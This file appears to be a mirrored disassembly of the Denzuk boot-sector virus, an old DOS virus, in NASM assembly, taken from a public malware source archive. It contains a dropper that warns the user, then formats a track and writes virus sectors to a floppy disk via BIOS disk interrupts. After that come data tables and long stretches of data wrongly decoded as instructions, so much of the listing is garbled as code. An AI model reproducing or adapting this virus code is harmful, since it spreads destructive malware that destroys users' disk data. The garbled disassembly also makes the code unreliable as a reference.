mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
2593 lines
60 KiB
NASM
2593 lines
60 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ DENZUK ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 4-Feb-91 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: J ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_0001e equ 24h
|
|
data_0002e equ 26h
|
|
data_0003e equ 4Ch
|
|
data_0004e equ 4Eh
|
|
data_0005e equ 78h
|
|
data_0006e equ 1BCh
|
|
data_0007e equ 1BEh
|
|
main_ram_size_ equ 413h
|
|
keybd_flags_1_ equ 417h
|
|
video_mode_ equ 449h
|
|
warm_boot_flag_ equ 472h
|
|
data_0008e equ 4F6h
|
|
data_0009e equ 51Ch ;*
|
|
data_0010e equ 61Eh ;*
|
|
data_0011e equ 7C00h ;*
|
|
data_0012e equ 7C0Bh ;*
|
|
data_0013e equ 7C0Eh ;*
|
|
data_0014e equ 7C10h ;*
|
|
data_0015e equ 7C11h ;*
|
|
data_0016e equ 7C15h ;*
|
|
data_0017e equ 7C16h ;*
|
|
data_0018e equ 7C18h ;*
|
|
data_0019e equ 7C1Ah ;*
|
|
data_0020e equ 7C1Ch ;*
|
|
data_0021e equ 7C2Ah ;*
|
|
data_0022e equ 7C2Bh ;*
|
|
data_0023e equ 7C37h ;*
|
|
data_0024e equ 7C39h ;*
|
|
data_0025e equ 7C3Bh ;*
|
|
data_0026e equ 7C3Ch ;*
|
|
data_0027e equ 7C3Dh ;*
|
|
data_0028e equ 7C3Fh ;*
|
|
data_0029e equ 7D77h ;*
|
|
data_0030e equ 7DD6h ;*
|
|
data_0031e equ 7DE1h ;*
|
|
data_0032e equ 7DFDh ;*
|
|
data_0033e equ 0
|
|
data_0035e equ 28h
|
|
data_0036e equ 33h
|
|
data_0037e equ 5Ch
|
|
data_0157e equ 1E50h ;*
|
|
data_0158e equ 2000h ;*
|
|
data_0161e equ 2A00h ;*
|
|
data_0164e equ 7C00h ;*
|
|
data_0165e equ 7C0Bh ;*
|
|
data_0166e equ 7C15h ;*
|
|
data_0167e equ 7C18h ;*
|
|
data_0168e equ 7C1Ah ;*
|
|
data_0169e equ 7C1Eh ;*
|
|
data_0171e equ 7C2Ch ;*
|
|
data_0172e equ 7C2Eh ;*
|
|
data_0173e equ 7C30h ;*
|
|
data_0174e equ 7C31h ;*
|
|
data_0175e equ 7C32h ;*
|
|
data_0176e equ 7CC6h ;*
|
|
data_0178e equ 7E00h ;*
|
|
data_0179e equ 8002h ;*
|
|
data_0181e equ 0A82Ah ;*
|
|
data_0182e equ 0AA00h ;*
|
|
data_0183e equ 0AA02h ;*
|
|
data_0185e equ 0AA2Ah ;*
|
|
data_0186e equ 0AAAAh ;*
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
denzuk proc far
|
|
|
|
start:
|
|
mov dx,29Dh
|
|
dec byte ptr ds:data_0037e
|
|
jns loc_0002 ; Jump if not sign
|
|
jmp loc_0008
|
|
loc_0002:
|
|
mov dx,1BFh
|
|
call sub_0001
|
|
xor ah,ah ; Zero register
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
and al,0DFh
|
|
cmp al,59h ; 'Y'
|
|
jne loc_ret_0009 ; Jump if not equal
|
|
mov dl,ds:data_0037e
|
|
xor ah,ah ; Zero register
|
|
int 13h ; Disk dl=drive a ah=func 00h
|
|
; reset disk, al=return status
|
|
jc loc_0007 ; Jump if carry Set
|
|
push dx
|
|
mov dx,281h
|
|
call sub_0001
|
|
pop dx
|
|
mov ax,351Eh
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov al,9
|
|
xchg al,es:[bx+4]
|
|
push es
|
|
push bx
|
|
push ax
|
|
push ds
|
|
pop es
|
|
xor dh,dh ; Zero register
|
|
mov ch,28h ; '('
|
|
mov bx,offset data_0040
|
|
mov ax,509h
|
|
int 13h ; Disk dl=drive a ah=func 05h
|
|
; format track=ch or cylindr=cx
|
|
; al=interleave, dh=head
|
|
pop ax
|
|
pop bx
|
|
pop es
|
|
jc loc_0007 ; Jump if carry Set
|
|
mov es:[bx+4],al
|
|
push ds
|
|
pop es
|
|
cld ; Clear direction
|
|
mov si,offset data_0058
|
|
jmp short loc_0004
|
|
loc_0003:
|
|
test dh,dh
|
|
jnz loc_0004 ; Jump if not zero
|
|
dec cx
|
|
jz loc_ret_0009 ; Jump if zero
|
|
loc_0004:
|
|
lea bx,[si+5] ; Load effective addr
|
|
mov bp,200h
|
|
lodsb ; String [si] to al
|
|
cmp al,0F6h
|
|
je loc_0006 ; Jump if equal
|
|
mov bx,offset data_0049
|
|
cmp al,[bx]
|
|
je loc_0005 ; Jump if equal
|
|
mov di,bx
|
|
mov cx,bp
|
|
rep stosb ; Rep when cx >0 Store al to es:[di]
|
|
loc_0005:
|
|
xor bp,bp ; Zero register
|
|
loc_0006:
|
|
lodsw ; String [si] to ax
|
|
xchg ax,cx
|
|
lodsw ; String [si] to ax
|
|
xchg ax,dx
|
|
or dl,ds:data_0037e
|
|
lea si,[bp+si] ; Load effective addr
|
|
mov ax,301h
|
|
push si
|
|
push cx
|
|
push dx
|
|
int 13h ; Disk dl=drive a ah=func 03h
|
|
; write sectors from mem es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
pop dx
|
|
pop cx
|
|
pop si
|
|
jnc loc_0003 ; Jump if carry=0
|
|
loc_0007:
|
|
mov dx,offset data_0048
|
|
|
|
denzuk endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0001 proc near
|
|
loc_0008:
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
|
|
loc_ret_0009:
|
|
retn
|
|
sub_0001 endp
|
|
|
|
data_0040 db 28h
|
|
db 00h, 21h, 02h, 28h, 00h, 22h
|
|
db 02h, 28h, 00h, 23h, 02h, 28h
|
|
db 00h, 24h, 02h, 28h, 00h, 25h
|
|
db 02h, 28h, 00h, 26h, 02h, 28h
|
|
db 00h, 27h, 02h, 28h, 00h, 28h
|
|
db 02h, 28h, 00h, 29h, 02h
|
|
db 0Dh
|
|
data_0041 db 0Ah, 'You are about to install a '
|
|
db 'VIRUS on your diskette!!!', 0Dh, 0Ah
|
|
db 'This will des'
|
|
data_0043 dw 7274h
|
|
data_0044 db 6Fh
|
|
data_0045 dw 2079h
|
|
db 'ALL data on the diskette!!!', 0Dh
|
|
db 0Ah, 'Inser'
|
|
data_0046 dw 2074h
|
|
db 'a formatted 360K di'
|
|
data_0047 dw 6B73h
|
|
db 'ette into the drive.', 0Dh, 0Ah, 'A'
|
|
db 're you sure you want to proceed '
|
|
db '(y/N)? $'
|
|
db 0Dh, 0Ah, 0Ah, 'Writing...$'
|
|
data_0048 db 0Dh
|
|
db 0Ah, 45h, 72h, 72h, 6Fh, 72h
|
|
db 07h, 21h, 07h, 21h, 07h
|
|
db '!$'
|
|
db 'Usage: DENZUK A: ', 0Dh, 0Ah
|
|
db '$'
|
|
data_0049 dw 167 dup (0)
|
|
data_0050 dw 0
|
|
data_0051 db 0
|
|
data_0052 dw 0, 0
|
|
data_0054 dw 0, 0
|
|
db 82 dup (0)
|
|
data_0056 dd 00000h
|
|
data_0057 dd 00000h
|
|
db 77 dup (0)
|
|
data_0058 db 0F6h
|
|
db 29h, 28h, 00h, 00h,0FFh
|
|
|
|
locloop_0011:
|
|
loop locloop_0011 ; Loop if cx > 0
|
|
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
popf ; Pop flags
|
|
retn
|
|
db 8Dh, 36h,0D1h, 07h
|
|
db 0BFh, 90h, 0Bh,0B9h, 00h, 05h
|
|
db 0F3h,0A4h
|
|
db 8Dh, 36h,0D1h, 0Ch
|
|
db 0BFh, 40h, 2Bh,0B9h, 00h, 05h
|
|
db 0F3h,0A4h,0C3h, 51h,0FCh, 32h
|
|
db 0D2h,0BEh, 10h, 00h
|
|
loc_0012:
|
|
mov cx,28h
|
|
|
|
locloop_0013:
|
|
mov ax,es:[di]
|
|
xchg al,ah
|
|
ror ax,1 ; Rotate
|
|
ror ax,1 ; Rotate
|
|
mov dh,ah
|
|
and dh,0C0h
|
|
and ah,3Fh ; '?'
|
|
or ah,dl
|
|
mov dl,dh
|
|
xchg al,ah
|
|
stosw ; Store ax to es:[di]
|
|
loop locloop_0013 ; Loop if cx > 0
|
|
|
|
dec si
|
|
jnz loc_0012 ; Jump if not zero
|
|
pop cx
|
|
retn
|
|
db 51h,0FDh, 32h,0D2h
|
|
db 0BEh, 10h, 00h
|
|
loc_0014:
|
|
mov cx,28h
|
|
|
|
locloop_0015:
|
|
mov ax,es:[di]
|
|
xchg al,ah
|
|
rol ax,1 ; Rotate
|
|
rol ax,1 ; Rotate
|
|
mov dh,al
|
|
and dh,3
|
|
and al,0FCh
|
|
or al,dl
|
|
mov dl,dh
|
|
xchg al,ah
|
|
stosw ; Store ax to es:[di]
|
|
loop locloop_0015 ; Loop if cx > 0
|
|
|
|
dec si
|
|
jnz loc_0014 ; Jump if not zero
|
|
pop cx
|
|
cld ; Clear direction
|
|
retn
|
|
data_0066 db 'WS EXE ', 0
|
|
db 9 dup (0)
|
|
db 52h,0B1h, 3Bh, 12h, 02h, 00h
|
|
db 00h, 5Eh, 02h, 00h
|
|
db 'WSHELP OVR!'
|
|
db 0
|
|
db 9 dup (0)
|
|
db 03h, 88h, 12h, 11h, 41h, 01h
|
|
db 0A0h, 9Dh, 00h, 00h
|
|
db 'WSSPELL OVR!'
|
|
db 0
|
|
db 9 dup (0)
|
|
db 03h, 88h, 12h, 11h, 9Fh, 00h
|
|
db 80h, 80h, 00h, 00h, 59h,0F9h
|
|
db 43h,0F9h, 31h,0F9h, 45h,0F9h
|
|
db 52h,0F9h, 50h, 29h, 00h
|
|
db 9 dup (0)
|
|
db 0A0h,0B2h, 46h, 12h, 00h, 00h
|
|
db 00h, 00h, 00h, 00h
|
|
db 'WSMSGS OVR!'
|
|
db 0
|
|
db 9 dup (0)
|
|
db 03h, 88h, 12h, 11h,0C0h, 00h
|
|
db 62h, 53h, 00h, 00h
|
|
db 'PREVIEW OVR!'
|
|
db 0
|
|
db 9 dup (0)
|
|
db 03h, 88h, 0Fh, 11h, 16h, 01h
|
|
db 10h,0ABh, 00h, 00h
|
|
db 'PREVIEW MSG!'
|
|
db 0
|
|
db 9 dup (0)
|
|
db 03h, 88h, 0Fh, 11h,0D5h, 00h
|
|
db 00h, 22h, 00h, 00h
|
|
db 'DRAFT PDF!'
|
|
db 0
|
|
db 9 dup (0)
|
|
db 03h, 88h, 12h, 11h,0DEh, 00h
|
|
db 0AAh, 03h, 00h, 00h
|
|
db 'WSSHORT OVR!'
|
|
db 0
|
|
db 9 dup (0)
|
|
db 03h, 88h, 12h, 11h,0DFh, 00h
|
|
db 00h, 02h, 00h, 00h
|
|
db 'WS4 PDF!'
|
|
db 0
|
|
db 9 dup (0)
|
|
db 03h, 88h, 12h, 11h,0E0h, 00h
|
|
db 0ABh, 01h, 00h, 00h
|
|
db 'CONFIG SYS!'
|
|
db 0
|
|
db 9 dup (0)
|
|
db 11h,0A3h, 39h, 12h,0E1h, 00h
|
|
|
|
locloop_0017:
|
|
or ax,[bx+si]
|
|
add [bx+si],al
|
|
inc cx
|
|
push bp
|
|
push sp
|
|
dec di
|
|
inc bp
|
|
pop ax
|
|
inc bp
|
|
inc bx
|
|
inc dx
|
|
inc cx
|
|
push sp
|
|
and [bx+si],ax
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],ah
|
|
mov word ptr ds:[1239h],ax
|
|
loop locloop_0018 ; Loop if cx > 0
|
|
|
|
|
|
locloop_0018:
|
|
or [bx+si],ax
|
|
add [bx+si],al
|
|
push di
|
|
push bx
|
|
dec ax
|
|
pop cx
|
|
push ax
|
|
dec ax
|
|
and [bx+si],ah
|
|
dec di
|
|
imul byte ptr [bx+si] ; ax = data * al
|
|
sub [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0183e
|
|
test al,0
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
or ch,[bp+si+0A0h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add ch,[bp+si-5556h]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0182e
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
or ch,[bp+si+0A8h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bp+si-7F56h],ch
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
sub ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,byte ptr ds:[0A00h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add ch,[bp+si+0A0h]
|
|
add ch,[bp+si+0A8h]
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
or ch,[bp+si-5556h]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si+80h],ch
|
|
add [bx+si],al
|
|
add [bp+si-5556h],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],2
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],al
|
|
add byte ptr [bx+si],0
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add ch,[bp+si+2A00h]
|
|
mov al,ds:data_0033e
|
|
add ch,[bp+si+0A0h]
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add ch,[bp+si-5556h]
|
|
mov al,ds:data_0033e
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
pushf ; Push flags
|
|
push ax
|
|
push cx
|
|
push dx
|
|
push ds
|
|
push es
|
|
push si
|
|
push di
|
|
push cs
|
|
pop ds
|
|
mov ax,5
|
|
int 10h ; Video display ah=functn 00h
|
|
; set display mode in al
|
|
mov ax,0B800h
|
|
mov es,ax
|
|
;* call sub_0002 ;*
|
|
db 0E8h, 24h, 00h
|
|
mov cx,10h
|
|
|
|
locloop_0019:
|
|
call sub_0003
|
|
mov di,3040h
|
|
;* call sub_0004 ;*
|
|
db 0E8h, 57h, 00h
|
|
loop locloop_0019 ; Loop if cx > 0
|
|
|
|
mov cx,0FFFFh
|
|
|
|
locloop_0020:
|
|
loop locloop_0020 ; Loop if cx > 0
|
|
|
|
mov cx,0F6FFh
|
|
daa ; Decimal adjust
|
|
sub [bx+si],al
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bp+si-5556h],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_0003 proc near
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
or ch,[bp+si+0A0h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
or ch,[bp+si-5F56h]
|
|
add [bx+si],al
|
|
or ch,[bp+si+80h]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add ch,[bp+si+0AAh]
|
|
add [bx+si],al
|
|
sub ch,[bp+si+0]
|
|
nop ;*ASM fixup - displacement
|
|
nop ;*ASM fixup - sign extn byte
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
sub al,[bx+si]
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bp+si+0A8h],ch
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0Ah
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0033e
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0179e
|
|
add [bx+si],al
|
|
add [bp+si-5756h],ch
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0158e
|
|
add [bp+si-5556h],ch
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bp+si-7F56h],ch
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0181e
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],cl
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0161e
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
test al,0Ah
|
|
stosb ; Store al to es:[di]
|
|
add byte ptr [bx+si],0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
or ch,[bp+si+0A8h]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bx+si],al
|
|
add [bp+si],ch
|
|
stosb ; Store al to es:[di]
|
|
add [bp+si],al
|
|
stosb ; Store al to es:[di]
|
|
mov al,ds:data_0186e
|
|
add [bx+si],al
|
|
add [bp+si-5556h],ch
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
stosb ; Store al to es:[di]
|
|
test al,0
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
add [bx+si],al
|
|
